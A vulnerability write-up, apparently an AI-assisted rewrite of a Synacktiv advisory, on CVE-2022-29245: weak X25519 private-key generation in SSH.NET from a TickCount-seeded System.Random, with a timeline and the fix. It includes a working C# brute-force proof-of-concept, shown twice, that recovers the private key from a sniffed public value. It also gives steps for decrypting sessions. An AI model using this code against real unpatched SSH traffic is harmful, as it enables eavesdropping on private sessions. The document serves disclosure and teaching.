Skip to content
Crypto Write-up Advanced

Weak private key generation in SSH.NET <= 2020.0.1

SSH.NET generated the X25519 key-exchange private key using System.Random, a non-cryptographic generator seeded from the system tick count. An attacker who can eavesdrop on the connection could brute-force the seed, recover the private key and decrypt the SSH session.

Guillaume André Follow

Published on synacktiv.com

Vulnerabilities description Presentation of SSH.NET “SSH.NET is a Secure Shell (SSH-2) library for .NET, optimized for parallelism.” 1

Guillaume André (@yaumn_), on synacktiv.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

SSH.NET is described by its maintainers as "a Secure Shell (SSH-2) library for .NET, optimized for parallelism". It is a Secure Shell (SSH-2) library for .NET applications.

The issue covered here lives in the X25519 key exchange path. When a client opens an SSH connection to a remote host and the two sides agree on curve25519, the client has to generate an ephemeral private key, derive the matching public value from it, and send that public value to the server. The security of the whole session rests on that private key being unpredictable: if an eavesdropper can work out the client's private key, they can recompute the shared secret and decrypt the traffic.

In SSH.NET up to and including version 2020.0.1, the private key was generated with System.Random, the ordinary pseudo-random number generator from the C# standard library, rather than a cryptographic one. Because System.Random seeded with no argument uses Environment.TickCount, the seed space is small enough to brute force, and the private key can be recovered from the public key that travels over the wire in clear.

The same issue was independently found and reported by Siemens AG, Digital Industries.

Setup

No accounts, roles or special tooling are needed to understand the finding. The finding is shown in the library source, and a C# program demonstrates searching the seed space. The relevant files are:

  • SSH.NET/src/Renci.SshNet/Security/KeyExchangeECCurve25519.cs, the client-side X25519 key exchange implementation.
  • mscorlib/system/random.cs, the framework implementation of System.Random.

Affected versions: 2020.0.1 is vulnerable, and earlier versions are likely to be vulnerable as well. The fix landed in version 2020.0.2.

The timeline recorded in the advisory:

Date Action
2022-03-11 Advisory sent to SSH.NET's maintainer
2022-04-20 Reply from SSH.NET's maintainer
2022-05-20 CVE-2022-29245 assigned by GitHub
2022-05-29 Vulnerability fixed in version 2020.0.2

Finding it

The problem is visible directly in the key exchange code. During an X25519 key exchange, the client's private key is generated with System.Random from the C# standard library:

C#
using System;
using Renci.SshNet.Abstractions;
using Renci.SshNet.Common;
using Renci.SshNet.Messages.Transport;
using Renci.SshNet.Security.Chaos.NaCl;
using Renci.SshNet.Security.Chaos.NaCl.Internal.Ed25519Ref10;

namespace Renci.SshNet.Security
{
    internal class KeyExchangeECCurve25519 : KeyExchangeEC
    {
        private byte[] _privateKey;
        [...]
        public override void Start(Session session, KeyExchangeInitMessage message)
        {
            base.Start(session, message);

            Session.RegisterMessage("SSH_MSG_KEX_ECDH_REPLY");

            Session.KeyExchangeEcdhReplyMessageReceived += Session_KeyExchangeEcdhReplyMessageReceived;

            var basepoint = new byte[MontgomeryCurve25519.PublicKeySizeInBytes];
            basepoint[0] = 9;

            var rnd = new Random();
            _privateKey = new byte[MontgomeryCurve25519.PrivateKeySizeInBytes];
            rnd.NextBytes(_privateKey);

            _clientExchangeValue = new byte[MontgomeryCurve25519.PublicKeySizeInBytes];
            MontgomeryOperations.scalarmult(_clientExchangeValue, 0, _privateKey, 0, basepoint, 0);

            SendMessage(new KeyExchangeEcdhInitMessage(_clientExchangeValue));
        }
        [...]

In Start, the code builds the curve25519 base point (a zeroed buffer with the first byte set to 9), creates new Random(), fills the private key buffer with rnd.NextBytes, computes the client exchange value by scalar multiplication of the base point with the private key, and sends that value in a KeyExchangeEcdhInitMessage. The private key itself never leaves the client, but the exchange value derived from it does.

System.Random is not a cryptographically secure random number generator and must not be used for cryptographic purposes. The second half of the problem is the seeding. When System.Random is instantiated with no parameter, the seed is set to Environment.TickCount:

C#
namespace System {
[...]
    public class Random {
[...]
        public Random()
            : this(Environment.TickCount) {
        }
[...]

Environment.TickCount is the number of milliseconds elapsed since the system started. That is a small, guessable range, so the seed can be brute forced.

Exploitation

Step 1: capture the client's public exchange value

The attacker needs to be able to eavesdrop on the communications. The client's exchange value is sent to the server during key exchange, so an attacker positioned on the network path records it. The advisory does not describe how the capture is performed.

Step 2: brute force the seed and recover the private key

The following script brute forces the seed to retrieve the client's private key given its public key:

C#
using System;
using Renci.SshNet.Security.Chaos.NaCl;
using Renci.SshNet.Security.Chaos.NaCl.Internal.Ed25519Ref10;

namespace Renci.SshNet
{
    class Program
    {
        static string BytesToHexString(byte[] data)
        {
            return BitConverter.ToString(data).Replace("-", string.Empty);
        }

        static void Main(string[] args)
        {
            var basepoint = new byte[MontgomeryCurve25519.PublicKeySizeInBytes];
            basepoint[0] = 9;

            var pub = args[0];

            int seed = 0;

            while (true)
            {
                var rnd = new Random(seed);
                var a = new byte[MontgomeryCurve25519.PrivateKeySizeInBytes];
                rnd.NextBytes(a);

                var candidate = new byte[MontgomeryCurve25519.PublicKeySizeInBytes];
                MontgomeryOperations.scalarmult(candidate, 0, a, 0, basepoint, 0);

                if (BytesToHexString(candidate).Equals(pub, StringComparison.CurrentCultureIgnoreCase))
                {
                    Console.WriteLine(String.Format("Found seed: {0}", seed));
                    Console.WriteLine(String.Format("Recovered private key: {0}", BytesToHexString(a)));
                    break;
                }

                seed++;
            }
        }
    }
}

The program takes the captured public value as its first argument. For each candidate seed it creates new Random(seed), fills a private key buffer with NextBytes, multiplies the base point by that candidate private key, and compares the resulting public value with the captured one. On a match it prints the seed and the recovered private key and stops; otherwise it increments the seed and repeats. Because the real seed is a TickCount value, the search space is small enough for this loop to terminate.

Step 3: decrypt the session

The recovered private key can then be used to compute the shared secret and derive the encryption key to decrypt the SSH communications. The advisory does not include the decryption step itself.

Root cause

The client's ephemeral X25519 private key is generated with a non-cryptographic PRNG, System.Random, and with the parameterless constructor, which seeds it from Environment.TickCount. Two properties combine badly: the generator's output is fully determined by a single integer seed, and that seed is a millisecond counter that can be enumerated. Anyone who observes the public exchange value can replay the same generation for every plausible seed and check which one produces the observed value.

Nothing in the protocol prevents this. The public exchange value is sent in the clear as part of key exchange, which is by design, and the security of the exchange depends entirely on the private key being unguessable. Microsoft recommends using a cryptographically secure random number generator instead.

Impact

An attacker able to eavesdrop on the communications can recover the client's private key, compute the shared secret, derive the encryption key and decrypt the SSH session. The condition is explicit: the attacker must be in a position to observe the traffic.

Fix

The vulnerability was fixed in version 2020.0.2. For code of this kind, Microsoft recommends generating cryptographically secure random numbers with the RNGCryptoServiceProvider class, or deriving a class from System.Security.Cryptography.RandomNumberGenerator.

Variants to test

  • Other .NET SSH or TLS stacks that call new Random() for key material. Grep for new Random() near key generation, nonce creation or token generation. A positive result may be a private key or nonce seeded from Environment.TickCount.
  • Any protocol where the public value derived from a private key is sent in clear. If you can capture the public value and the private key comes from a small seed space, replaying the derivation over candidate seeds should reproduce the captured value, as the script above does.
  • Parameterless PRNG constructors in other languages. The same pattern appears wherever a default-seeded generator is used for secrets; a positive result is a reproducible secret from a bounded seed range.
  • Older versions of the same library. The advisory states that versions anterior to 2020.0.1 are likely to be vulnerable, so check the key exchange code in earlier releases for the same new Random() call.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

SSH.NET is a piece of software that other programs use to talk to servers over SSH. The maintainers of SSH.NET describe it as "a Secure Shell (SSH-2) library for .NET, optimized for parallelism". A library, in this context, is a bundle of ready-made code that other programs include so they do not have to write everything themselves. So whenever a .NET application wants to speak SSH, it hands that job to SSH.NET, and SSH.NET does the low-level work underneath.

One of the things SSH has to do at the start of every connection is agree on a secret key that will be used to encrypt the conversation. This agreement is called the key exchange. The report is about one specific way of doing that key exchange, called X25519, and about a mistake in how SSH.NET generated a secret number during it.

The mistake is simple to state: the secret number was produced by an ordinary random number generator, the kind used for games or shuffling a playlist, not by a security-grade one. Worse, that ordinary generator was started from a value that is easy to guess. Because of that, someone who can watch the traffic can work out the secret number, and once they have it they can decrypt the whole conversation.

The same problem was found and reported independently by Siemens AG, Digital Industries.

The product and the feature involved

To follow the rest of this, you need three ideas.

  1. SSH is a way for two computers to build an encrypted tunnel between them. Before any data goes through the tunnel, both sides must agree on the encryption key. That agreement is the key exchange.
  2. A key pair is two numbers that belong together: a private key, which you keep secret, and a public key, which you can show to anyone. In the key exchange described here, each side makes a fresh pair for every connection. The private key is used to compute the public value, but you cannot go backwards from the public value to the private key, at least not if the private key was chosen unpredictably.
  3. A random number generator is a program that produces numbers that look unpredictable. There are two kinds. An ordinary one is fast and fine for games, but if you know how it was started (its seed), you can predict every number it will produce. A cryptographic one is designed so that even if you know a lot about it, you cannot predict its output. Using the ordinary kind for secrets is a classic mistake.

Affected versions

Version 2020.0.1 is vulnerable, and earlier versions are likely to be vulnerable too. The fix was released in version 2020.0.2.

Timeline

The advisory records these dates:

Date Action
2022-03-11 Advisory sent to SSH.NET's maintainer
2022-04-20 Reply from SSH.NET's maintainer
2022-05-20 CVE-2022-29245 assigned by GitHub
2022-05-29 Vulnerability fixed in version 2020.0.2

A CVE is a public catalogue number for a known vulnerability, so that everyone can refer to the same issue by the same name.

Finding it: reading the code

The problem is visible in the source code of the library itself. The relevant files are:

  • SSH.NET/src/Renci.SshNet/Security/KeyExchangeECCurve25519.cs, which is the part of the library that performs the X25519 key exchange on the client side.
  • mscorlib/system/random.cs, which is the framework's own implementation of the ordinary random number generator.

Here is the key exchange code. During an X25519 key exchange, the client's private key is generated with System.Random from the C# standard library:

C#
using System;
using Renci.SshNet.Abstractions;
using Renci.SshNet.Common;
using Renci.SshNet.Messages.Transport;
using Renci.SshNet.Security.Chaos.NaCl;
using Renci.SshNet.Security.Chaos.NaCl.Internal.Ed25519Ref10;

namespace Renci.SshNet.Security
{
    internal class KeyExchangeECCurve25519 : KeyExchangeEC
    {
        private byte[] _privateKey;
        [...]
        public override void Start(Session session, KeyExchangeInitMessage message)
        {
            base.Start(session, message);

            Session.RegisterMessage("SSH_MSG_KEX_ECDH_REPLY");

            Session.KeyExchangeEcdhReplyMessageReceived += Session_KeyExchangeEcdhReplyMessageReceived;

            var basepoint = new byte[MontgomeryCurve25519.PublicKeySizeInBytes];
            basepoint[0] = 9;

            var rnd = new Random();
            _privateKey = new byte[MontgomeryCurve25519.PrivateKeySizeInBytes];
            rnd.NextBytes(_privateKey);

            _clientExchangeValue = new byte[MontgomeryCurve25519.PublicKeySizeInBytes];
            MontgomeryOperations.scalarmult(_clientExchangeValue, 0, _privateKey, 0, basepoint, 0);

            SendMessage(new KeyExchangeEcdhInitMessage(_clientExchangeValue));
        }
        [...]

Line by line, in plain words:

  • The using lines at the top pull in other pieces of code. They are like saying which toolboxes this file is allowed to use.
  • internal class KeyExchangeECCurve25519 : KeyExchangeEC declares a class, which is a named block of code, that handles the curve25519 key exchange. The : KeyExchangeEC part means it builds on a more general key exchange class.
  • private byte[] _privateKey; is a place to store the private key as an array of bytes. A byte is a small unit of data, and an array is an ordered list of them.
  • public override void Start(...) is the function that runs when the key exchange begins. It receives the session and the first key exchange message from the server.
  • base.Start(session, message); runs the general setup that the parent class already provides.
  • Session.RegisterMessage("SSH_MSG_KEX_ECDH_REPLY"); tells the session to expect a particular kind of reply message from the server.
  • The += line attaches a handler, which is a function that will be called when that reply arrives.
  • var basepoint = new byte[...]; basepoint[0] = 9; creates the starting point for the curve25519 maths. It is a buffer of zeroes with the first byte set to 9. This is a fixed, public value; there is nothing secret about it.
  • var rnd = new Random(); creates the ordinary random number generator. This is the line that causes the problem.
  • _privateKey = new byte[...]; rnd.NextBytes(_privateKey); creates an empty buffer for the private key and fills it with bytes from that generator.
  • MontgomeryOperations.scalarmult(...) takes the fixed base point and the private key and produces the matching public value, stored in _clientExchangeValue. This is the one-way step: easy in this direction, not feasible to reverse if the private key is unpredictable.
  • SendMessage(new KeyExchangeEcdhInitMessage(_clientExchangeValue)); sends that public value to the server.

The private key never leaves the client. But the public value derived from it does leave, and it travels in the clear as part of the key exchange. That is by design: the server needs it. The security of the whole session rests on nobody being able to work backwards from that public value to the private key.

System.Random is not a cryptographically secure random number generator, and it must not be used for cryptographic purposes. The second half of the problem is how it gets started. When System.Random is created with no parameter, its seed is set to Environment.TickCount:

C#
namespace System {
[...]
    public class Random {
[...]
        public Random()
            : this(Environment.TickCount) {
        }
[...]

What this means:

  • public Random() is the constructor, the piece of code that runs when someone writes new Random() with no argument.
  • : this(Environment.TickCount) means it immediately calls another constructor of the same class, passing Environment.TickCount as the seed.
  • Environment.TickCount is the number of milliseconds that have passed since the system started. It is a counter, not a source of true randomness.

So the generator's entire output is determined by one integer: the number of milliseconds since boot. That is a small, guessable range. If you can guess the seed, you can reproduce every byte the generator would have produced, including the private key.

Exploitation

Step 1: capture the client's public exchange value

The attacker first needs to be able to eavesdrop on the communications. The client's exchange value is sent to the server during key exchange, so an attacker positioned on the network path records it. The advisory does not describe how the capture is performed.

Step 2: brute force the seed and recover the private key

The following script brute forces the seed to retrieve the client's private key given its public key:

C#
using System;
using Renci.SshNet.Security.Chaos.NaCl;
using Renci.SshNet.Security.Chaos.NaCl.Internal.Ed25519Ref10;

namespace Renci.SshNet
{
    class Program
    {
        static string BytesToHexString(byte[] data)
        {
            return BitConverter.ToString(data).Replace("-", string.Empty);
        }

        static void Main(string[] args)
        {
            var basepoint = new byte[MontgomeryCurve25519.PublicKeySizeInBytes];
            basepoint[0] = 9;

            var pub = args[0];

            int seed = 0;

            while (true)
            {
                var rnd = new Random(seed);
                var a = new byte[MontgomeryCurve25519.PrivateKeySizeInBytes];
                rnd.NextBytes(a);

                var candidate = new byte[MontgomeryCurve25519.PublicKeySizeInBytes];
                MontgomeryOperations.scalarmult(candidate, 0, a, 0, basepoint, 0);

                if (BytesToHexString(candidate).Equals(pub, StringComparison.CurrentCultureIgnoreCase))
                {
                    Console.WriteLine(String.Format("Found seed: {0}", seed));
                    Console.WriteLine(String.Format("Recovered private key: {0}", BytesToHexString(a)));
                    break;
                }

                seed++;
            }
        }
    }
}

Line by line:

  • The using lines again pull in the toolboxes the program needs.
  • class Program is the main body of the program.
  • BytesToHexString is a small helper that turns a list of bytes into a readable hexadecimal string, so two values can be compared as text. Hexadecimal is just a way of writing bytes using the characters 0 to 9 and a to f.
  • static void Main(string[] args) is where the program starts. args[0] is the first thing typed on the command line, which in this case is the captured public value.
  • var basepoint = new byte[...]; basepoint[0] = 9; recreates the same fixed starting point the library used. The attacker has to use exactly the same maths as the client.
  • var pub = args[0]; stores the captured public value.
  • int seed = 0; starts the search at seed zero.
  • while (true) begins an endless loop; it will only stop when a match is found.
  • var rnd = new Random(seed); creates a random generator with the current candidate seed. This is the key trick: instead of guessing the private key directly, the attacker guesses the seed and lets the generator produce the private key for them.
  • var a = new byte[...]; rnd.NextBytes(a); fills a buffer with the bytes that generator would produce for that seed. This is the candidate private key.
  • MontgomeryOperations.scalarmult(...) computes the public value that this candidate private key would produce, using the same fixed base point.
  • The if compares that computed public value with the captured one. If they match, the candidate private key is the real one.
  • On a match, the program prints the seed and the recovered private key and stops with break.
  • Otherwise seed++ moves to the next seed and the loop repeats.

Why this works: the real seed was a TickCount value, a millisecond counter, so the search space is small enough for this loop to finish. The attacker is not breaking the curve25519 maths; they are simply replaying the same weak generation for every plausible seed until the output matches what they saw on the wire.

Step 3: decrypt the session

The recovered private key can then be used to compute the shared secret and derive the encryption key to decrypt the SSH communications. The advisory does not include the decryption step itself.

The recovered private key can be used to compute the shared secret and derive the encryption key to decrypt the SSH communications.

Root cause

Two properties combine badly. First, the generator's output is fully determined by a single integer seed. Second, that seed is a millisecond counter that can be enumerated. Anyone who observes the public exchange value can replay the same generation for every plausible seed and check which one produces the observed value.

Nothing in the protocol prevents this. The public exchange value is sent in the clear as part of key exchange, which is by design, and the security of the exchange depends entirely on the private key being unguessable. Microsoft recommends using a cryptographically secure random number generator instead.

Impact

An attacker able to eavesdrop on the communications can recover the client's private key, compute the shared secret, derive the encryption key and decrypt the SSH session. The condition is explicit: the attacker must be in a position to observe the traffic. The advisory does not quantify the effort or the window of seeds involved.

Fix

The vulnerability was fixed in version 2020.0.2. For code of this kind, Microsoft recommends generating cryptographically secure random numbers with the RNGCryptoServiceProvider class, or deriving a class from System.Security.Cryptography.RandomNumberGenerator.

Variants to test

These are the wider lessons, written as things to look for in other code:

  • Other .NET SSH or TLS stacks that call new Random() for key material. Search for new Random() near key generation, nonce creation or token generation. A positive result may be a private key or nonce seeded from Environment.TickCount.
  • Any protocol where the public value derived from a private key is sent in clear. If you can capture the public value and the private key comes from a small seed space, replaying the derivation over candidate seeds should reproduce the captured value, as the script above does.
  • Parameterless PRNG constructors in other languages. The same pattern appears wherever a default-seeded generator is used for secrets; a positive result is a reproducible secret from a bounded seed range.
  • Older versions of the same library. The advisory states that versions anterior to 2020.0.1 are likely to be vulnerable, so check the key exchange code in earlier releases for the same new Random() call.

Glossary

  • SSH: a protocol for building an encrypted connection to another computer, commonly used for remote command lines and file transfer.
  • SSH.NET: a library for .NET applications that implements SSH, so those applications do not have to write the protocol themselves.
  • Library: a collection of pre-written code that other programs reuse.
  • .NET: a software platform from Microsoft on which many applications are built; C# is one of its main programming languages.
  • Key exchange: the opening phase of an encrypted connection in which both sides agree on a shared secret key.
  • X25519 / curve25519: a modern method for agreeing on a shared secret using a special kind of maths on a curve; it is designed so that the public value cannot practically be turned back into the private key.
  • Private key: the secret half of a key pair, kept only by its owner.
  • Public key / public value: the half of a key pair that can be shared openly; it is derived from the private key.
  • Ephemeral key: a key pair created for one connection only and thrown away afterwards.
  • Shared secret: the value both sides compute independently and then use to derive the encryption key.
  • Encryption key: the value that actually scrambles and unscrambles the traffic.
  • Random number generator (RNG): a program that produces numbers meant to be unpredictable.
  • Cryptographically secure random number generator (CSPRNG): an RNG designed so its output cannot be predicted, suitable for secrets.
  • Seed: the starting value that determines all output of a random number generator.
  • System.Random: the ordinary, non-cryptographic random number generator in the C# standard library.
  • Environment.TickCount: the number of milliseconds since the computer started; a counter, not a source of true randomness.
  • Brute force: trying every possibility in turn until the right one is found.
  • Eavesdrop: to observe traffic on a network path without being one of the two parties.
  • CVE: a public catalogue number for a known vulnerability.
  • Advisory: a formal notice describing a vulnerability, its impact and its fix.
  • Code review: reading source code carefully to find problems, as opposed to attacking a running system.
  • Weak crypto: protection that relies on maths or randomness that is too easy to break.
  • Hexadecimal: a way of writing bytes using the characters 0 to 9 and a to f.
  • Byte: a small unit of data, eight bits.
  • Array: an ordered list of values of the same type.
  • Class: a named block of code that groups related data and functions.
  • Constructor: the code that runs when a new object is created.
  • Nonce: a number used once, often in cryptography, which must not repeat.
  • TLS: another protocol for encrypted connections, used for HTTPS and similar traffic.

Similar reports

View all

Same bug class and techniques, clearest first.

Cryptographic weaknesses

The lesson behind this report.

Encryption, signatures, randomness or certificate checks that do not protect what they claim to.